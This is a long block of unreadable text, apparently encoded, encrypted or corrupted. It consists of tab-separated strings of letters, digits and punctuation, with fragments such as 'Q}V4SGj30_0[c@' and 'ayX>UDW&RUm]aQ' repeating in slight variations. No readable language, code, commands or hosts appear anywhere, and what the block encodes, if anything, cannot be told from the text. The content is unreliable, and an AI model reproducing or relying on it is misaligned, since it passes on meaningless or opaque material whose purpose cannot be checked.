ZZO5WM	Q}V4SGj30_0[c@ ayX>UDW&RUm]aQRdQw	$ZZA3TWa	4 kV ST?D7D_C[[@ YXUTW`RUS][Q<R QM	$Zek@W`	C uV3SUD7G_}[Wj %nXUTW`R7UQ]4QReQl	?ZQlTW`	4 kVS2tT_0[e7 5nXUbW`RUk]DQg3RfQh	eZMR;hWT	B@VSmo4V_@[cl :zXUbWR	Uj]eQ7RQJ	:ZN@#jWg	oMVSlj k"_r[N_ 6yXUTWRUk]5Q!RQB	ZMO?6W`	kVSE;T7Ed_U[NQ =AXUTWRUP]KQc1RgQR	:ZMB;BWg	B:kVSF0v0_Q[cO 2XU\WRUl][Q$1RfQx	9ZZO5W[	k:uVSE;K1n_\[Wl :zXU~W.R1UA]CQ<R QN	gZVR;hWT	B@VSjt z_O[`P %D1XUbW`RUk]DQg3RfQh	eZMR;hWT	B@VSjt3z_1[Wl =DXdUbW`RU5]eQ$0RQh	ZZBJWL	BcuVS3?VU_Q[S4 6yXUbWfRUj]eQ$7RQE	$Za_?hWQ	]2OVS2B3H1_O[cA 5nX?UvWRUj]eQ$7RQE	$Za_?IWQ	S}V3SFt3H1_O[e5 %l7XU3W`RUR]OQ'7RQt	ZVi5WW	hchV3S0<{13_v[L@ %LXUjW-R7UP]jQ- R.QN	gZY5#rW[	7uVSn;r0T_l[L@ %LXUjW<RUl]OQRdQE	$ZSA;GWT	]MV6SDJW_v[Wl 52XfUTW&RUj]eQ>1R.QJ	:Zd7?TWU	M5V6SFr12_r[LO R6X:UnWRUl]OQRQh	 Zd@TWg	]MV6SDJW_v[Wl 5pXU~WR	Uk]uQRQt	ZU_0WW	4}VSm 1 j_O[cB =OX.UHWR2UA]uQ"7RQd	&ZVPIW[	6&VVSGb57G_r[e4 37XUPW8RUR]OQRQt	ZVi|W`	A@VSk;rU!_Q[L7 =l6XU3WR0UP]CQg6R9Qh	 ZbB4WQ	R:uVSmS7G_w[WR 5nX?ULW RUj]eQRQ5	&ZN6;GWW	]>VV6SG/1V_@[cj `D1XUbW RUk]8Q7RQV	'ZROBWg	nsVSn?20U_p[T_ 9n7XUbW.R7UN]LQfRQ5	&ZRA3FWO	@>VVSWb513_l[LB =D1XUjW8RUN]CQ1R:Qd	%ZO@fJWW	4}V3SG10`_i[Rj 2X.UDWfRUj]eQ=3RdQw	$ZdPBWg	h.}VSlD7H6_5[cj `D1XUbW RUk]uQ7RQI	bZeR3jWT	B@VSjj7H_C[Tl 06XUvWRU@]CQ0RQZ	eZTR<|WS	QkVSHq7G_r[e4 37XUPW;R7U6]aQ0RQZ	eZTR<|WS	R@VSjj7H_C[Tl 06XUvWRU@]CQ>6R9Qh	ZNjTWa	7:3VSn213_r[OP 90X U@WfR2UC]KQ< R?Q4	cZZO?4WP	SAV3S2fJ U-_Q[[O lX U\W8RUN]CQ'7RQZ	$Zd45Wa	A hV3S0;j6m=_G[[B LXUTW`R7US][Q RQd	'ZSlHWW	5"uV6SH'V10d_W[SO 90XU3W RUh]eQd0RQZ	 ZR40|WQ	R.sVSj;O7D_r[`_ 906XUvWRUC][QgRQ1	+ZQk?hW`	M2oV3SWnj1n_\[d_ h1XUjWR
Uk]CQ<3RfQZ	 Zd40}WO	B:3V3S2fJ U-_C[e@ M7XULWRUh]aQ$ RfQZ	ZNjTWa	7:3VSn213_r[OP 90XU7WfR	Uk]GQ= ReQB	ZS_4Wa	6 iV3SXq7G_r[e4 37XUPW;R7U6]aQ'0RQg	+ZbO0}WO	B:3VSUV0U"_5[[@ @XUnWRUQ]zQbRQF	ZeBGWO	@>VVSn?rU!_l[e7 526XfUTW`RUQ]CQaRQQ	$Zek@WO	@>~V3Sz?DWd_4[SC q0XU2WeRUQ]aQ'RQc	*ZYk;GWT	]MV6SDJW_v[Wl 52XfU3W&R2U@]DQ 1RgQR	:ZbB?TWU	BcuV6SFt6k_i[WP OXgUvWRUA]8Q" RdQZ	 ZbiBWX	Q:EVSl?W13_@[cj %nX9UHW&R	Uk]uQdRQx	9ZeA;GWW	]>MVSn;W 2_P[T_ 9n5XeUPWR	Uj]\Qb7RQY	+ZNP#hW`	M2~VSD232=_r[cl 9R6X8UPWRUk]CQRQF	&Zek@W`	k>5V6SGfSG_v[UR zXUPW.R7US]_Q"3RfQZ	:ZY5#hW`	M2~V3SXV7H6_5[cj %36XUHW&RUk]8QRQB	'Zd@TWP	BcuV3SG/k30`_}[N_ 90XUTWRUk]4Qg7RQV	%ZU_?hWc	4 OVSl40`_[`_ 27XeUPWRUj]@QdRQ8	$ZSAGW`	k>EVSn'S 22_0[cl 9RXU3W&R2U@]GQ"6R?QZ	?Za_?6WM	B~V3SV?16m=_V[cO Y6X.UHWbRU^]CQRQI	$ZSAGW`	k>uVSmkU!_1[c@ %LXU3W&R	Uk]GQ=3RfQZ	 Zd44Wa	43V3Szt33_v[X5 %L6X>UbW8R1U|]OQRQF	 ZOQ;GWW	]>VV6SG/1V_0[W_ {XUTWfR2U@]GQ$RQB	
Zbj#jWW	hc5VSmq7H6_1[[O 2XUTWfR2U@]GQ$RQ5	&ZRA3FWO	@>VVSWb5W_3[TR 5lXU3WRU@]eQ"3RfQh	 ZbiBWX	R:3V3Sz?j1n_\[eO lX9U~W-RUQ]5Q-7R?Q1	)ZVPFWO	@>VVSWb5U!_l[`R 5n6XUjWfR7U6]_Q"3RfQZ	:ZY5#hW`	M2~V3SXV7H6_5[cj %36XUHW&RUk]9QdRQF	ZeABWO	M&VVSG 4Wm_r[RA LXU?WR2U@]eQ1RgQU	$ZK5g|WW	i}VSlSE-_o[SA =AXUnWR	Uh]}Q RfQg	fZbl?TWU	BcuV6SFt6k_i[X7 Y7X.UHWbR7U4]9QdRQF	ZeO5W[	oMVSn?qX_Q[e7 5lXUPW.R7US]_Q"3RfQZ	:ZY5#hW`	M2NVSmowV9_}[S@ 26XdULW<RUl]OQRdQE	$ZSA;GWW	S~V3S1;SX_N[eA z XU@WR1US]<Q0RQd	ZZOWWV	CBVSEf16H_s[T_ K7X:UTWdRU]4QgR:QZ	?Zek5Wc	OV3SH8v6m2_0[`P n1XUTWRUA]8QRdQI	$ZSAjWQ	ROVSn?4 1_s[cj `3XUvW<RUl]OQRQZ	gZbB;IW[	k2OV3SWnS7G_1[[@ `0XfUvW`RUA]XQbRdQx	%ZVP_WM	@3VSnkV9_}[[@ YXUTW`RUh]OQ=RQl	?ZZ@FWO	@>CVSTHU_W[Wi 0XU@WR2Um]CQ$R>QV	ZbAwWX	7.6V5STj6F_H[e@ )QXfU3W$RU6]iQ<R.Qd	ZZ@<4WN	4WVSinrl_G[dk 35X.U@WR7UN]bQ 6R9Qg	fZaPhWQ	R.MV4SF4W_@[T_ 9O1X?UvW.R7UA]uQRQt	ZeR;hWP	BkVSF?q z_O[Pj `DXU@WRUj]@QdRQF	ZeOjW`	PNVSF?q z_O[Pj `DXU@W8RUR]LQbRQB	)Za_?6W`	n_VSjHE_p[cl 53X UHW.R	Uh]LQ 6R8QB	%ZOPTWU	@gsVS3?W10!_\[Pj `DXU@W<RUl]OQRQY	$Zek@W`	hcOV3SD<{12_r[LO R6X.UjW8R U5]bQ 1RfQw	fZd5#BWW	7sV6SH'rF_O[b7 R7XfUHW8RUN]CQ 7RQd	ZRO?hWL	SMVS14W_@[WP @XUnWRUj]eQ' R.QN	ZQjfBWU	CkV STD1z_\[e7 y1XU~W.R	Uj]GQb0R QJ	ZU_?6WM	C3V3S0D7H6_1[[O R6XfU3WR7UB]fQ-1RfQZ	$ZMOTW`	o2]VSV56m=_q[SB 9O1X>U@W R	UN]bQ 1RgQV	Zbl35WM	Q}VSnv6l_F[SO N7XUPW8RUN]HQbRQB	)ZVi?6W`	n_VSjHE_p[cl 53X UHW.R	Uh]LQ 6R8QB	%ZOPTWU	B:OVS0;B0U_\[T_ 27XeU\W`RUQ]CQaRQR	 ZOQ;GWW	]>}V3SGvU_1[`P RXUjWRU6]aQ0RQZ	
ZUPFWO	@>CVSTHU_W[Wi 0XU@WR2Um]CQ$R>QV	ZbAwWX	7.6V5STj6D_6[cA qX9UTWdRUS]uQ"3RQV	"ZZ@;dWS	77VSj3rm!_P[dk 35X.U@WR7UN]bQ 6R9Qg	fZaPhWQ	R.MV4SGBG_r[LO RXU3WR7UB]fQ-1RfQZ	$ZMOTW`	n_VSjHE`_\[Pj `DXU@W&R	Uk][QRdQ5	ZbA3IWW	7OVSl?rF_[Wi 90X?UTW`R	Ul][Q R QN	ZeR;hWP	C oVSjHE`_\[`R =lXUTW:RUj]CQ R.QN	:ZaR;TWP	Bc}VSnv6m_\[eR 9NXgUvWRUA]uQ3RgQV	%ZU_?hWL	QOVSmosV9_i[WP OXgUvWRUA]8QcRQg	bZTP#BWS	S3VS14W_0[cj `pXfU3WR	UA]GQ1R?Qx	$ZS_TWU	@sVSl?S32_1[S4 9nX U@WRUl]OQd R?Q5	&ZN6;GWW	]>CVSTHE`_\[L_ OXgUjWR	Um]_QRdQ5	ZVR3BWW	7OVSl?rF_[Wi 90X?UTW`R U7]CQbRQZ	fZbjf4W`	h:3V3Sz?jU_r[RA LXU@W.R U7]CQbRQZ	ZR@3JWW	5gMVS3?E13_l[Pl 5n7XUvW&RUm]_Q<1R:Qc	gZZOTW`	7~V3S3kV_\[L_ OXgUjWR	Um]_QRQI	$ZSABWg	B.MVS22 3_s[cl =DXdULW RUj]eQRQI	$ZSBGWO	@>]VSVV1n1__[eA 3XUTW?RUk]GQR:QB		ZV_;qWO	7PV3Sj3rj_|[e@ )K6XgUvWR7UA]~Q/ RgQR	eZMOjWM	R:kVSk;rW_3[e@ %0XU3WR7UN]OQd RgQR	$ZT5#JW`	n_VSjHE`_\[e5 %D1X>U@WR U6]KQRdQ5	ZZ@#BWU	@sVSm#j j_w[d_ 2XU3WR7UN]OQd RgQR	$ZT5#JW`	o2]VSV56m=_q[SB 9RXUbW&RUh]bQ/ RdQt	ZR@3HWO	@AVSGbD0_r[RA A6XUbW&RUj]jQ/1RgQQ	cZRO0rWL	S3VSW7E_v[NP nX9UHW.RUk]GQ3RgQV	%ZU_?IWg	B.}VS2kV_s[NP 5L6XeULWRUj]@QdRQF	ZeABWg	B.MVS22 3_s[[@ 9lX?U7W`RUQ]CQaRQR	 ZOPhW[	h}VSlD0_r[RA A6XUbW&RUj]jQ/1RgQQ	cZRO?IWg	B.}VS2kV9_o[dk F6XUjWRUP]XQbRQF	Zek4WM	CkVSXJ G_7[P6 [5XUrWRU5]WQ>RfQF	aZW_;]Wc	BWVSTH32_l[`P ayXUPWRUl]_Q3R.QJ	:ZM@#nW[	h:NVSF?1W2_4[XP `lXU~WRUj]@QdRQF	ZeO5W[	oMVSn?qV_0[e@ `lX?U7W&RUk]4QbRdQw	$ZR@#nW[	h:sVS1?W z_4[P5 %D1XUPW.RU7]eQRQB	
ZdB;jWL	RsV6SDrE`_p[S@ 506XfUTW;R2UA]GQ7RQd	%ZNjTWQ	ROV3S32U_S[NQ =AXUvWR7UA]~Q/ RgQR	eZMOjWM	R:kV4SU;rX_V[W_ yXU@W`R	Uj]eQ1RgQV	 ZN6;GWW	]>uVSlV0X_r[X5 RXU3WfRUh]eQ"0RQZ	
Ze_TWU	C&~VSF?q z_O[Pj `DXU@W<RUl]OQRQh	 ZdB?TWa	C }VS3'rV_@[ci 26X8UPWR7U4]4Q"6R?Qo	$ZUj6WW	:]VSV56m=_q[SB 9RXU3WfRUA]5QbRQY	fZQj#jWL	Rc5VSmS7G_\[W_ 26X8UPW8R U4]CQaRQR	&ZeB<|Wg	S OVSlDF_\[eO lX9U~W8RUR]OQ1RgQR	:ZeP#hWU	C }V3SUt32_@[WR 9LX.UbWRUP]KQcRQF	&Zbj#NWO	PgMVS3?E13_l[Pl 5n7XUvW&RUm]_Q<1R:Qc	gZZOTWa	43V3S0t32_v[e4 27XeU\W`R7U|]_Q"3RgQR	 ZY5#JW`	o2]VSV5E_v[WP %2XU3W&R7UA]uQ=3RdQ5	+ZO_?6WL	BkVSGf1V_\[eO lX9U~W8RUB]OQ<1R:QU	cZZ@TW`	]kVSm/O j_\[W_ 2XU3W&R7UQ]8QRdQI	$ZSAGW`	k>VV6SG/1V_0[W_ {X UHW.R7UA]zQ 0RQh	gZY5#JWP	BcuV3SWbWU!_o[dk F6X:UnWRUQ]8Qc7RQZ	
ZV_5WU	M:MVSnI7G_S[RP 90XUTWfR2U@]GQ$ RgQR	$ZT5#JWQ	P:iVSn8v12"_0[e5 %DXfUHW R2UN]}Q$RQB	
ZaR4WQ	PsVSl?S1l_[[O RXUTWRUA]CQaRQR	&ZeAGW`	k>3VSl?W13_\[dR =n7XUbW`R	Uj][Q3RQd	ZT7;hW`	@ouVSk;K1_Q[cj `DXU~WRUC]aQ%1R9Qg	$ZT5#TWW	7 oV3SGc3131_[X5 %36XUHW&R2UB]HQ 6R9Qg	+ZbB?TWU	MNVSmc2U_W[dA A6X:UnWRUj]eQ"6R?QZ	gZbjfBWU	M:hV3S1?` m_o[[@ %n6XUbW RUh]aQ R.QJ	ZZBHWO	RuVSl?[6m_}[Wj %RXU3W&R7UQ]9QdRQF	ZeAGW`	k>VVSl?t6k_1[cj `DXUjW;R7U7]eQ6 R9QJ	9ZZ@#hW`	M2}VSm2 0`_O[RP 5lXU~WR0U@]CQ$1RgQQ	+ZTR?TWU	MNVSG7E_p[dA A6X:UnW`R	Uj]eQ1RgQR	
ZeR;hWa	@23VSlK3H1_O[ci D1XUHWfR2UB][Q&7RQE	$ZOR;jWT	C3VSl?W13_p[O6 =AXUnWRUQ]8QcRQ5	
ZbiBWg	BcsVSl?43H1_\[Vl jXfUTW.RUk]GQdRQR	:Zd7|WW	i OV3SGj k"_r[cj %HXgUvWRUA]8QcRQF	&ZeO?hWU	C }V3SF?4W_r[S4 9nXUjW;R7U6]aQ RfQZ	 ZbB3nWU	@OVSm/q6n1_O[RP 5DX9U~WRU@]eQgRQx	9Zek@W`	k>VVSWb57G_W[`l 9MXgUvWRUA]8QcRQF	 ZOQ;GWW	]>VVSWb5D_l[LB )n6XU7WRUC]_Q"3RgQV	&ZN6;GWW	]>VVSW 4U_W[dA DXUvWRUA]8Qc0R QJ	 ZVi|W[	hc5VSmS7G_\[TR 9NXgUvWRUA]8Qc0R QJ	 Zb@fBWg	@gMVSnv0T_r[Ri nXU@WRUA]CQaRQR	&ZeO5W[	oMVSn?qV_\[ci D1XU3W RUj]eQbRQI	$ZSABWO	@uV6SFO30`_Q[O6 =AXUnWRUh]eQ$RQt	:Zd734WW	6:}VSH?40`_@[WP @XUnWRUl]OQaRQQ	$Zek@WO	@>uVSGq0T_\[WR 2zXUTW.RUk]8Q7RQt	eZUl3TW`	n_V3S2n7E_p[Wi zX?UvWfR	Ul]eQ7RQt	eZUl3TWL	BiVSn?23_[O6 =AXUnW`R U5]eQ$1RgQd	%ZOPTWU	B.}VSH?V13_s[NP R7XfUTW<RUl]OQRQh	 ZdB?TWa	Rc}V3SGOV>_r[SB nX UPW.RU5]OQ= R>QN	$ZMP#BWg	A NVSF?O12=_F[WR 9LX.UbW8R1U|]OQRQF	 Zd5#BWU	A}V3SDD V9_o[dk F6XUjW8R	Uk]GQ=1R.QJ	ZROjW`	S5VSn'E13_l[UR 2yX:UbW RUj]_Q7RQt	gZbO6W`	i kVS27E_p[dO 3X>UDWRUh]eQ'RQl	+ZN5sWO	@>VVSjD32=_V[UP %LX.UbWRUP]KQcRQZ	gZbB;IW[	k2OV3SWn2U_r[RA DXUnWRUP]KQc1RgQR	:ZMB;BWg	B:kV SWo2U_S[NQ =AXUvWR7UA]~Q/ RgQR	eZMOjWM	R:kVS3S7E!_3[Tl 5R6X?UTWR7U4]4QaRQR	 Zd5#BWU	A}V3SDDW_}[O_ y7XUHWRU5]LQ/3RdQZ	gZNR?TWU	@g}V6SEWU_r[RB AXUnWRUP][QgRQg	bZSl;hW`	COV3SV113_@[ci D6X8UPWRUl]OQRQg	+ZN_Wa	B@VSm#232=_l[P4 3X?U7WR2U@]DQ RQB	
ZUk3JW`	o2]VSV4U_W[dk 35X.U@WR7UN]bQ 6R9Qg	fZaPIWg	i _V3SGJ z_l[`R =RXU3W.RUk]zQe3RdQ5	&ZRA3FWO	@>VV6SG/1F_\[U_ DXU~W8RUR]_Q RQx	%ZM7KWa	AVSE27l_p[SA 5@XUnWRUQ]8Q"1R.QJ	 ZNj#JW`	:kVS3?VW2_4[cl 9RXU7WfRUj][Q$RQA	gZRBHW`	AVSXv U-_@[e4 !R6XeUvW8RU^]KQ RQB	&ZRO6W`	4AV SWnD1n_s[[@ {7XfUTW<RUl]OQRQY	$ZR@#jWW	nguV6SG/1F_\[U_ DXU~W8RUR]_Q RQx	%ZM@_WT	A1V3SWbD0_r[RA A6X9U3W.RUk]zQe3RdQ5	%ZOPIWg	CMV6SDtF_\[U_ DXU~W8RUB]eQ RQx	%ZM@_WT	A1V3SWn`V9_}[Pl R6X?UTW-R7U4]4Q RQl	%ZRO4W`	7kV4STjU_r[RA DXUTW&R2U@]GQ3RfQh	 ZdB?TWU	@g5VSlrV>_5[SB N6XgUbWbRUA]8QRdQI	$ZSAGW`	hc}VSm 330`_s[NP O1XU\WR2UB][Q"RQB	
ZT_BWT	R.kVSD?D U-_s[e4 !R6XeUvW8RU^]KQ RQB	&ZRO6W`	4AV SWnD1n_s[[@ {XfUTW<RUl]OQRQY	$ZR@#jWW	nguVSl2U_W[dA LXU7WfRUj][Q$RQk	$ZRO?IWg	i _V3SFD1n_s[[@ {XUTW<RUl]OQRQY	$Zek@W`	M2uVSl0y13_5[SO 9O1X8UPWR7U@]\QdRQF	ZOQ;GWW	]&VV3ST?VW_j[X_ qX.UnW5RU5]WQc0R=Qt	<ZR_;]WT	4wVSjH0T_V[d_ yXUTW RUh]OQ= RgQB	ZZQrWT	S }VS27E_v[Lj `DXUTW`R	Ul]fQ/RQk	$ZZO?KW[	6&VVSG/1W2_4[Rl =n6XU\WR7UP]CQ R>QJ	eZVl3nWg	o}VSGJV_@[cj %n6XUbWRUQ]zQdRQF	ZeAjW`	MkVSH;w32_l[`P ayXUPWRUl][Q3RdQZ	fZV_WU	@gNVSE;j3_3[Wl 5DXgUbW&RUh]}Q7RQd	&ZVQBW[	6&VVSGb5E`_\[Rl =D1XU3WfRUk][QRdQ5	ZZ@#BWU	@&MVSkSE-_o[dk F6X:UnWR2UA]uQgRQB	fZV_}WM	]:}VSH?40`_@[cj %n6XUbWRUk]8Q7RQZ	!ZVR3hW[	h5VSn8vV>_r[SO 9nXUPW.R Uk]CQaRQR	&ZeAjW[	h}VSm2U_W[dA A6X:UnW`R	Uk]yQ RfQZ	:ZY4BWg	oiVSl0v6m_v[UP RXUrW8R0US]aQ$RQF	!ZVR3hW[	n 5VSn8vF_\[ci DXUPW<R7U|]eQ RQV	aZS}|Wc	Q6V5SXFk=_h[TQ =AXUnWRUQ]8Qc3RgQQ	fZd5#jWa	@&5VSEt33_v[X5 %lX8UPW.RU6]KQ0RQZ	ZRO?hW[	:iV3SV0xE`_s[cj %36XUHW&R2U@]GQ1R.QN	
ZR7HWO	PgMV6SH?OU!_i[T_ 9O6XUHW.RU7]eQd RfQZ	:ZaR?TWU	Bc5VSmWEd_}[WP @XUnWRUQ]8QcRdQE	$ZSAGW`	k>5V6SGfDF_@[dP %lXULWR U4]8Q7RQZ	
ZV_4W`	i 3V3SWfSW=_v[UR z7XUbW.R7UN]LQfRQB	
ZbiBWX	S NVSmf1G_w[WR 5nX?UHW&RUh]aQ1R.QN	
ZTR?TWU	Bc5VSmWE`_p[S@ az1XU3WfRUk][Q7RQZ	
ZV_4W`	o2]VSV5E_v[cB 5O1X9U~W8R	Uh]}Q3RfQZ	 Zd7?TWU	@&MVSn?t6k_i[WP @XUnWRUQ]8Qc6R9Qh	'ZRB?hWg	iMV6SDvF_\[eO lX9U~WR	Uk]uQRQB	&ZK7TW`	A2]VSV5E_p[d@ %3XUbW&R2UN]OQ6R8QB	Zbj#5W`	BuV6SFW1z_G[S@ `DXUTW`R	Uk]yQ RfQZ	:ZaPfjWO	R.NVSm7E_p[dA A6X:UnWfR2UA]<QRQZ	 ZTR|Wc	4 OVSlS7G_w[WR 5nX9UjW R2UB]KQ$RQ5	 ZN6;GWW	]>VVSWb5E_p[cj %3XUTW:RUj]CQg R.QN	ZbB34W`	43VSm#W 2_l[`P `lXU~W-RUA]4Q<1RgQV	)ZVPFWO	@>VVSWb5E_p[dO 9n1X8U\WR	U@]eQ$ RfQR	ZR@3JWW	7ouVSH?r0W=_G[SB 9RXUTW&RUC]GQ3RgQR	 ZY5#BWg	i _V3SFS7G_w[WR 5nX9UjW R2UB]KQ$RQ5	&ZN6;GWW	]>VVSWb5E_v[e@ azX8U\W.RUj]_QRQB	
Zd@#TW`	o2]VSV5E_p[dA A6XUPW&R7UQ]4Q6R?QZ	eZQ5fBWg	M2sVSmbS7G_\[W_ 26X8UPW8RU@]eQg6R9Qh	 ZbB35Wa	@ouVSmo4W_1[d_ zX9UjW R2UB]KQ$RQB	
ZdOjWW	h.OV3SHQ30`_p[O6 =AXUnWRUQ]8QcRQF	&Zbl;hWg	S }V3S2nQ3_Q[dP %nXU\WfR2U@]GQ$RQB	
ZSl4|WL	QuV6SDv1l_s[cj %36XUHW&R2UB][Qb RfQh	ZVPFWO	@>VVSWb5E_v[NQ =AXUnWRUQ]8QcRdQE	$ZSAGW`	k>VVSl0v6m_v[U_ NXU\WRUm]KQRdQ5	%Zbl;hWg	S }V3S2nQ3_Q[eO lX9U~WRUA]9QdRQF	ZeAGW`	k>sVSn;t6k_i[T_ 9n1X>U@W.R7U@]eQ1RgQV	&ZN6;GWW	]>VVSW 4U_W[dA A6XUbW&RUj]jQ/1RgQQ	cZRBHW[	6&VVSGb50_r[RA A6XU~WR U5]}Q$RQt	gZbB;IW[	k2OV3SWnBU_r[RA DXUvWRUB]OQRQ4	gZVjmWf	RWVS20s0C!_7[S_ :q5XUjWdR2UP]iQ3R9Ql	<ZOP/]Wf	h>2VS0c229_j[[P &q0XUjW5R1U|]OQRQh	!ZMR35Wg	o5V6SD;qX_O[cB ={5XeUPWR	Uk]GQ6R?QZ	eZMB?TWU	Bc5VSmW0_r[RA A6XU7WR	Uh]LQ 6R9Qh	ZRO?hWa	Q2]VSV5G=_v[e@ R1XUPW.RUR]aQ"6R?QZ	?ZU_?hWU	C }V3SWbWU!_o[dk F6X:UnWR2UA]uQgRQB	Zbj#hWP	@iVSlV12_l[`P %n6XUbWRU@]eQ"6R?QZ	?ZVR?JWW	2]VSV5E_p[dB :z1XUPWR	Uj]_QRQB	
ZdOjWW	h.kV STD13_l[dP %nXUPW.R7US]_Q"3RfQZ	ZVR?JWW	2]VSV5E_p[dA l6XUTWRU@]eQg6R9Qh	 Zb@HWO	B~V3SXD7H_q[SO 9n5XeUPWR	Uj]_QbRdQ5	)Za_4Wa	4 _VSjHE_p[dA A6X:UnW`R	Uk]=Qb7RQZ	
ZV_4W`	7:3V3Sz?j1n_s[cj %36XUHW&RUA]CQaRQR	&ZeAGW`	k>VV6SG/1G_v[UR zXUPW.R7US]_Q"3RgQV	&ZVPTWU	A5VSm/O1k"_4[R5 %DXU\WfR2U@]GQ$RQZ	 ZTR;TWP	BcuV3SWc2U_W[dA A6X:UnWRUQ]8Q"0RQJ	ZSP3JWU	MoVSjHE_p[dA A6XUjWRUP]KQcRQF	&ZeBGWO	@>VVSWb5G=_3[X7 2y1X9U~W&R	Uk]uQdRQB	
ZbiTW`	o2]VSV5E_v[NQ =AXUnWRUl]OQaRQR	&ZeO5W[	oMVSn?qV_\[dP @XUnWRUl]OQaRQQ	$ZSABWc	6:}V3SWnt32_r[L@ `D1X9U~W R7U4]4QRQB	%ZR@_WO	@sVSn?20U_p[TR 9NXgUvWRUA]zQ.0RQZ	?ZRO?hWg	o}V3SFE32_v[e5 R6XdUTW8RUA]5QbRQZ	$Zd45Wa	A NVSGc2U_W[dB =37XUbW8RU@]eQ$ R.QJ	!ZQ5gWU	M2OV4SD;t6k_i[S@ 5L6XgUPWR U6]\Q/ RQB	 ZNO'hWg	M_V SWoy k!_@[Pi !pX>UTWRUP]CQ-ReQl	%ZQlIWP	@AV4SF1 V9_s[eP @XUnWRUk]yQb1RgQV	%Zbl4|WW	hc@VSj;132_3[cB =R6XdUTW8RUR]OQ RQl	9Zek@WO	@>VV6SG$y 3_3[LO lXUjW8R U4]GQ'6R?QZ	Zd6?hWM	PgnVSm/Q30`_@[cl =lXUPWR U7]eQ RfQh	ZR@3JW`	5NVSl2U_W[dA LXUDWfR2UB]KQ$0RQZ	gZd5fBW`	niVSmnS7E!_l[`_ D1X UDWfR2UB]KQ$RQk	$ZOP_W`	4 kV ST?D3z_l[L@ %n7XUDW&RUm]_QRQl	ZR@$|W[	ouVSnv30`_@[cl =lXUPWR U7]eQ RfQh	ZVPFWO	@>VVSW/W33_s[T_ 9OXUPWR2UA]GQb1RfQR	gZeQ3lW[	7_V6SG413_O[RP YX?UTWRUA]9Qg RQB	&ZRA3FWO	@>VVSWb57E!_\[WR 5lX:UjW.R	UN]eQbRfQJ	9ZZA3jW[	k:}V3SU;KV_s[S@ YXUTWRUA]9Qg RQl	9Zek@W`	k>VVSl0v6m2_}[c@ `D1XUbW RUk]uQ7RQI	+ZVl34WQ	P:kVSGnDV_s[NP Y7X UbWRUP]KQcRQF	&Zbl;hW`	@ouV6SH213_r[OP 90XU?W&R	Uh]LQf7RQE	$ZR@TW`	5iVSmnRU_r[RA A6X:UnW`R U7]eQ RfQh	:Ze_nWg	M:_VSmj6m_0[L_ hXUTWRUk]4QRQk	$ZRB_W[	6&VVSGb5E`_\[LO lXU~W RUh]eQd0RQZ	 ZR40|WO	S OVSGv30_C[[B L6X.UjW8RUQ]5QdRQF	ZeAGW`	hcMVSm/Q32=_r[e4 37XUPW;R7U6]aQ3RfQh	eZVl35WU	@g3VSTD0`_s[Pj @XUnWRUQ]zQbRQA	gZVjhW[	h:uVSFW30_r[RA A6XUbW&RUj]jQ/1RgQQ	cZRB?TWP	BcMVSm/Q32=_r[e4 37XUPW;R7U6]fQf3RfQh	$Zd40}WO	@~VSmnRU-_@[Pl 9L6X.UnW:RUA]4Qd7R?Q5	&ZRBTW`	43VS1?W 2=_l[d_ h1XUjWR
Uk]CQ< RfQg	fZa_0}WO	@iV SUD U%_}[WP OX?UTWRU@]jQ 6R9Qg	+Zb@fBWg	M2sVSm/I7D_}[cj `D6X9UTWRUk]5QcReQB	%ZUi'4W`	nCV5SzHE_p[dA LXU3WR	Uk]uQ3RfQh	$Zd45Wa	A hV3S0;S z_l[e4 0XUjW8RUS]DQcRQl	+ZUl?JWW	>kVSEtW_v[U5 %l7XUbW.R7UN]LQf3RQd	ZT4jWL	QMVSmO7D_r[S@ 5YX?UTWbRUk]8QReQB	%ZU_?IWU	C OV6SG412_1[dQ 5jXfUTW.RUk]GQ R.QI	bZbi6WQ	P:kV STsV9_}[WP @XUnWRUl]OQaRQQ	$ZSAjWc	OV3SH8v6m2_0[`P n7XU3W&R0UQ]yQ RfQZ	ZU_?hWU	M:MVSnkV_\[`P `lXU~W-RUA]4Q"RQZ	 ZT5#JW`	:kV SWnWU!_o[dk F6X:UnW`R	Ul][Qb RfQh	ZR@3JWW	5gMVS3?E13_l[Pl 5n7XUvW&RUm]_Q< R:QB	ZZOTW`	7~V3S3kV_\[`P `lXU~WRUA]CQaRQQ	$ZSAGW`	hcuVS1?W 2=_P[S@ 5LXfU3W&R2UN]}Q3RdQZ	ZU_?IWU	C5VSkQ2_l[`_ DXUbWR	Ul]aQR9QZ	 ZT5#JWP	BcMVSm/Q30`_p[WP @XUnWRUQ]8Q"6R9QZ	:ZN@#IWU	C OV6SF50`_s[[B OXUTW8RUB]_Q7RQZ	
ZMOjWO	R.hVSW#KV_5[SO 9nXUDWfR2UB]KQ$3RQ1	ZSQ;GWW	]>VVSWb5Ea_5[SO 6{X>UTW`R7U4]4Q'RQB	
Zbl;hW`	@ouVSmv k`_s[`P RXU3WR	Uk]uQ3RfQJ	9ZMRGWO	@>VVSWb5E_p[`P RXUHWRUN]CQ1R:QV	%Zbj#IWU	C OV6SGI W"_r[SO 26XfU3W&R U7]eQ RfQh	:ZR7}WO	M&VVSGb5E_p[dO 26XfUTWR U6]_Q<RQA	cZRO?hWU	A5V6SDr3Ed_Q[RP RXUTW`R	Uj]jQ 6R9Qg	+Zb@?KWa	@:oVSjHE_v[cB =37XUHWRUN]CQ"6R9QZ	:ZN@#IWU	C OV6SFD0`_s[e_ 906XfUjW8RU@]eQ3RdQZ	fZbl;hW`	@ouVSmnqV_[eP 07XeUPW<RUl]OQRQF	&Zbj#nWX	]>iVSmn0 k!_@[LR tX>UTWbR	Uh]eQ-ReQl	%ZTRIWP	@1VSG2U_W[dA LXUTW.RUA]8Q'RdQ5	%ZdRIWP	C1V4SF1 V9_s[eP @XUnWRUQ]8Q"3RfQR	?ZeONWO	@kV5SF1 V9_Q[b6 5Y6XdULW8R Uk]CQaRQR	&ZeO?hWc	62VVSj4V_1[b6 5Y6X.UTWR U6]_Q RQB	?ZN6;GWW	]>VVSl?110_p[`P 5L6XfU3WfR	Uk]DQg3RdQt	
ZVR3jWT	A2]VSV7E_p[dO 9OX9UjW RUR]aQ=3RfQg	cZR@3JWW	5gMVS3?k322_5[T_ 9nXUjWR	Uh]KQRQI	$ZSAGW`	hcsVS3?JV>_r[S@ ay1XUvWRUQ][Q7RQZ	
